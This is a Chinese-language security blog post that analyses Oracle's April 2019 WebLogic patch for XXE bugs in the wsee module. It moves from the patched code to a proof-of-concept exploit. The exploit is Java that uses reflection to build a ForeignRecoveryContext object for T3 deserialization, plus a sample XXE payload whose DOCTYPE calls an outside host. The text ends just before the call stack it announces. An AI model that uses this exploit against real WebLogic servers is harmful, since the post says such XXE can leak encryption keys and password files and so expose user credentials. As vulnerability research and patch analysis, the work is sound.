按照惯例,Oracle发布了4月份的补丁,详情见链接( https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW
)一看就是一堆漏洞,高危的还好几个。
CVSS 评分为9.8的暂且不分析,我们先来看看wsee模块下的几个XXE漏洞,都是给的7.5的评分,个人觉得这分给的少,毕竟可以泄露weblogic的加密密钥和密码文件,破解之后就可以获取用户名和密码。在这些漏洞中要数@Matthias Kaiser的贡献最大,高危的都是他提交的。
从补丁对比文件来看,在wsee模块下有5个都加了xxe的防护,那我们就从xxe漏洞入手。有一个新增的文件WSATStreamHelper.java,核心代码如下:
package weblogic.wsee.wstx.wsat; import ... public class WSATStreamHelper{ public static Source convert(InputStream in){ SAXParserFactory spf = SAXParserFactory.newInstance(); SAXSource xmlSource = null; try { spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); spf.setFeature("http://xml.org/sax/features/validation", false); spf.setNamespaceAware(true); spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(in)); } catch (Exception var4) { if (WSATHelper.isDebugEnabled()) { WSATHelper.getInstance().debug("Failed to call setFeature in SAXParserFactory. "); } } return xmlSource; } }
稍微懂点xxe漏洞的人都知道这是xxe的防护代码,这个文件新加到了ForeignRecoveryContext.java和WSATXAResource.java中,就拿
ForeignRecoveryContext来入手。其修复后的代码如下:
public void readExternal(ObjectInput in)throws ClassNotFoundException, IOException { klassVersion = in.readInt(); this.fxid = (Xid)in.readObject(); this.debug("ForeignRecoveryContext.readExternal tid:" + this.fxid); this.version = (Version)in.readObject(); int len = in.readInt(); byte[] eprBytes = new byte[len]; in.readFully(eprBytes); this.epr = EndpointReference.readFrom(WSATStreamHelper.convert(new ByteArrayInputStream(eprBytes))); this.debug("ForeignRecoveryContext.readExternal EndpointReference:" + this.epr); ForeignRecoveryContextManager.getInstance().add(this); }
仔细对比下来就是EndpointReference.readFrom(WSATStreamHelper.convert(new ByteArrayInputStream(eprBytes)));WSATStreamHelper.convert是新加的,从前面代码中也可以看到在convert的过程中启用了xxe防护。再一看这个函数还是readExternal,这不就是典型的反序列化漏洞的入口吗?看官看到这就知道payload怎么来了,最典型的就是通过T3协议,如下就是如何构造PoC了。
构造PoC还是有些弯路的,最典型的就是为什么拿ForeignRecoveryContext.java入手,其实看官可以尝试些其他漏洞点,构造的时候会遇到一些问题,有些问题不好一时解决所以就转到ForeignRecoveryContext.java。言归正传,详细的构造如下:
public static class MyEndpointReferenceextends EndpointReference{ public void writeTo(Result result){ byte[] tmpbytes = new byte[4096]; int nRead; try{ InputStream is = new FileInputStream(new File("test.xml")); while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){ ((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead); } }catch (Exception e){ e.printStackTrace(); } return; } } public static Object getXXEObject(String command){ int klassVersion = 1032; Xid xid = new weblogic.transaction.internal.XidImpl(); Version v = Version.DEFAULT; byte[] tid = new byte[]{65}; weblogic.wsee.wstx.internal.ForeignRecoveryContext frc = new weblogic.wsee.wstx.internal.ForeignRecoveryContext(); try{ Field f = frc.getClass().getDeclaredField("fxid"); f.setAccessible(true); f.set(frc,xid); Field f1 = frc.getClass().getDeclaredField("epr"); f1.setAccessible(true); f1.set(frc,(EndpointReference)new MyEndpointReference()); Field f2 = frc.getClass().getDeclaredField("version"); f2.setAccessible(true); f2.set(frc,v); }catch(Exception e){ e.printStackTrace(); } return frc; }
test.xml的内容可以是任意的xxe的payload:比如说如下,
xxe,测试payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://xxlegend.com/weblogic" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data>
关键点都展示完了,秀一下成果。
可以看到调用栈如下: